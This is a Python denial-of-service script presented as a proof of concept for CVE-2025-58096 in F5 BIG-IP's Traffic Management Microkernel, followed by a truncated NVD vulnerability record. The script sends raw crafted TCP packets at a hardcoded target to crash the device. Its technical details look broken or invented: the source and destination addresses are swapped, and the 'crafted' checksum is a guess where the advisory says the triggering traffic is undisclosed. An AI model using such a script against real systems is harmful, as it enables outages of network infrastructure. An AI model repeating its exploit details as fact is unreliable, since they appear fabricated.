CVE-2025-58096

# CVE-2025-58096 - F5 BIG-IP TMM DoS PoC # This PoC demonstrates how to trigger TMM termination via crafted network traffic # when tm.tcpudptxchecksum is set to "Software-only" mode. # Note: This is a conceptual PoC. Actual exploitation requires specific packet crafting # targeting the checksum calculation path in TMM. import socket import struct import sys TARGET_HOST = "192.168.1.100" # BIG-IP Virtual Server IP TARGET_PORT = 443 # Target service port def craft_malicious_packet(): """ Craft a network packet designed to trigger the vulnerability in TMM's software-based checksum processing path. """ # IP Header ip_header = struct.pack( '!BBHHHBBH4s4s', 0x45, # Version + IHL 0x00, # DSCP/ECN 0x0028, # Total Length (40 bytes) 0x1234, # Identification 0x4000, # Flags + Fragment Offset (Don't Fragment) 64, # TTL 6, # Protocol (TCP) 0, # Header Checksum (will calculate) socket.inet_aton(TARGET_HOST), socket.inet_aton("10.0.0.1") ) # TCP Header with crafted checksum to trigger vulnerability tcp_header = struct.pack( '!HHIIBBHHH', 443, # Source Port TARGET_PORT, # Destination Port 0x00000001, # Sequence Number 0x00000000, # Acknowledgment Number 0x50, # Data Offset (5 words) 0x18, # Flags (PSH+ACK) 65535, # Window Size 0xFFFF, # Checksum (crafted to trigger bug) 0x0000 # Urgent Pointer ) return ip_header + tcp_header def trigger_dos(): """Send crafted packets to trigger TMM termination""" print(f"[*] Targeting BIG-IP at {TARGET_HOST}:{TARGET_PORT}") print("[*] Sending crafted packets to trigger CVE-2025-58096...") sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) for i in range(10): try: packet = craft_malicious_packet() sock.sendto(packet, (TARGET_HOST, TARGET_PORT)) print(f"[+] Packet {i+1} sent") except Exception as e: print(f"[-] Error: {e}") break print("[*] Attack completed. Check target TMM status.") if __name__ == "__main__": trigger_dos()

{"cve": {"id": "CVE-2025-58096", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:52.327", "lastModified": "2025-10-21T19:30:28.773", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When the database variable tm.tcpudptxchecksum is configured as non-default value Software-only on a BIG-IP system, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": 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